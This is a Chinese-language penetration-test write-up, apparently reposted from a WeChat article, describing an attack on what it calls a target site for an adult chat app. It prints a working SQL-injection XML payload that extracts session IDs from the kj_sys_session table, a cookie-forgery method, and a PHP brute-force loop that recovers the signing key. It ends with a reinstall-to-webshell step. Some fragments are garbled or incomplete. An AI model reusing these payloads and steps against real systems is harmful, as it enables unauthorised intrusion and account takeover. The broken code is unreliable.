0x00 前言
打开链接,发现是一个luo聊的app下载,夜神+burp抓包

0x01 sql注入
在cls_weixin::on_exe方法中,有许多执行sql语句的点


issert($arr_msg['ToUserName'])->issert($arr_msg['FromUserName'])->$arr_msg['MsgType'] == 'event'->$arr_msg['Event']) == 'click'

这个点只能时间盲注,在我本地测试的时候可以通过updatexml(1,if(({}),0x7c,1),1)的方法来实现时间盲注变成布尔注入,目标环境问题无法实现,我就写了个脚本去跑账号密码。


0x02 伪造cookie
在登录处,发现cookie中的kj_s_id和kj_login_time是用来登录的,感觉可以伪造,这里我跟进下代码,看下kj_s_id是怎么生成的,验证登录处代码:function act_login_verify() { $arr_return = $this->on_login_verify(); return fun_format::json($arr_return); }跟进on_login_verify方法function on_login_verify() { $arr_return = array("code" => 0 , "id"=>0 , "msg" => cls_language::get("login_ok")); $arr_fields = array( "user_name" => fun_get::post("uname"), "user_pwd" => fun_get::post("pwd"), "verifycode" => fun_get::get("verifycode"), "autologin" => fun_get::get("autologin") ); if(!fun_is::pwd($arr_fields["user_pwd"])) { $arr_return["code"] = 7; $arr_return["msg"] = fun_get::rule_pwd("tips"); return $arr_return; } $arr = cls_obj::get("cls_user")->on_login($arr_fields); if( $arr["code"] != 0 ) { $arr_return = $arr; return $arr_return; } return $arr_return;}$arr_fields数组中获取登录的账号密码,继续跟进on_login方法

echo self::$perms['sid'];exit;




0x03 漏洞复现
首先抓取目标站后台登录时的cookie,如:NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg,假设我的ip地址为104.192.225.86,通过base64为MTAzLjE5Mi4yMjUuODY=,去掉=。本地经过测试发现ip+时间戳+随机数通过base64编码后为36位,所以上面的加密密文就为:Ng
MTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUY
TBjZmVkN2ZmMzY2OTYzYg
我们通过注入获取$msg_val参数和登录状态<?xml version="1.0"?><note> <ToUserName>cccc</ToUserName> <FromUserName>1</FromUserName> <MsgType>event</MsgType> <Event>click</Event> <EventKey>1' and updatexml(1,concat(0x7e,(select concat(session_id,0x7e,session_user_id) from `kj_sys_session` order by session_user_id desc limit 0,1),0x7e),1)#</EventKey></note>
function getNumber($start=1,$end=99999){ for ($i=$start; $i <= $end; $i++) { $arr[] = substr(str_repeat("0",6).$i,-5,5); } return $arr;}
$numbers= getNumber(1,99999);foreach ($numbers as $val){ $keyss = safecode('105.112.215.421600227695831','encode',$val)."<br />"; echo $keyss.':'.strval($val)."<br />"; if ($keyss == 'NgMTAzLjE5Mi4yMjUuNDIxNjAwMjI3Njk1ODMxYTBjZmVkN2ZmMzY2OTYzYg'){ echo $val; exit; }}成功获取到了MD5_KEY,然后我们在通过这个脚本利用这个MD5_KEY来生成kj_s_id



0x04 重装漏洞getshell
本来以为后台可以直接修改文件上传的后缀,发现事情并没有那么简单





转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486466&idx=1&sn=121b62ef2740e8474119c3914d363e4c&chksm=ce67a69bf9102f8deac87602cbb4504f9a59336fb0113f728164c65048d0962f92dd2dd66113&scene=21#wechat_redirect